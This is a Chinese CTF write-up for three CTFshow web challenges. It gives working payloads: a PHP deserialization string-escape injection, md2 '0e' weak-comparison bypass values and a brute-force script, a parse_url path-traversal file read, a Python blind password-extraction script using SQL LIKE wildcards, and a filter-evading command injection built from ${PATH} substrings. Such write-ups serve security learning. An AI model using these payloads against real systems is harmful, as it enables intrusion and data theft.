[复现]CTFshow-月饼杯

[复现]CTFshow-月饼杯

web1_此夜圆

给了源码

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

php反序列化字符逃逸,很常见了,直接构造

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

image-20210104104730539

web2_故人心

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

第一个浮点数精度问题,限制a的长度小于7,可以用科学计数法

a=1e-200

第二个弱类型比较,爆破md2,hint还给了后几位,用师傅们的脚本跑一下

<?php
#by Firebasky
for($a=1;$a<=1000000000;$a++){
    $b='0e'.$a;
    $c=(substr(hash("md2",$b),2));//取后面满足是数字
    $d=(substr(hash("md2",$b),0,true).substr(hash("md2",$b),1,true));//取前面满足是0e
    if($d==='0e'){
        if(ctype_digit($c)){//is_numeric()函数是有漏洞。用ctype_digit();
                echo $b."success";
                break;
        }else{
            echo "fail";
        }
    }
}
#0e652024452   md2
#0e707326442    md2
#0e603448399      hash("md2",hash("md2",$b))

b=0e652024452&c=0e603448399(其实懒得跑脚本了hhhh)

第三个提示了flag in /fl0g.txt,然后代码上,将输入的url用filter_var()函数过滤后,用parse_url()函数解析,解析结果host部分要以ctfshow.com结尾,然后用file_get_content去获取资源并输出

filter_var()函数可以用伪协议绕过,php遇到不认识的协议会当做目录处理,再次进行目录穿越即可

url=a://ctfshow.com/../../../../../fl0g.txt

image-20210104131551138

web3_莫负婵娟

F12看到提示

image-20210104155657799

因为是like的模糊匹配,所以可以使用通配符

like 模糊匹配

% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,代表多个字符
?同于DOS命令中的?通配符,代表单个字符
# 大致同上,不同的是代只能代表单个数字

所以用“_”代表单个字符进行盲注(抄大佬的exp)

import requests

a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://b1390a07-2ecc-422e-a3e5-0c80c4d66024.chall.ctf.show/login.php'

pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

运行结果

image-20210104170613508

进去以后是个命令执行,输入ip执行ping命令,并且似乎把所有小写字母都过滤了,还有一些“&”和“|”之类的,这里可以用到之前的提示

环境变量 +linux字符串截取 + 通配符

思路就是从linux的环境变量中截取字符拼接命令,找不到的字符用通配符

先看看linux环境变量都有啥

image-20210104172858531

类似这样,因为我是用的是wsl,所以后面一堆其他东西,不过这些够用了

截取字符串,比如${PATH:5:1},表示从第五个字符开始,截取一位(注:字符串从0开始),所以截取到的应该是“l”,同理${PATH:2:1}是截取个“s”,执行效果

image-20210104220649484

因为没有字符“t”,可以使用“nl”命令读取文件,没有字符“f”,可以使用通配符”?“代替一个字符,最终payload:127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???

按f12查看flag

image-20210104220957931

posted @ 2021-01-26 18:17  N0ri  阅读(210)  评论(0编辑  收藏  举报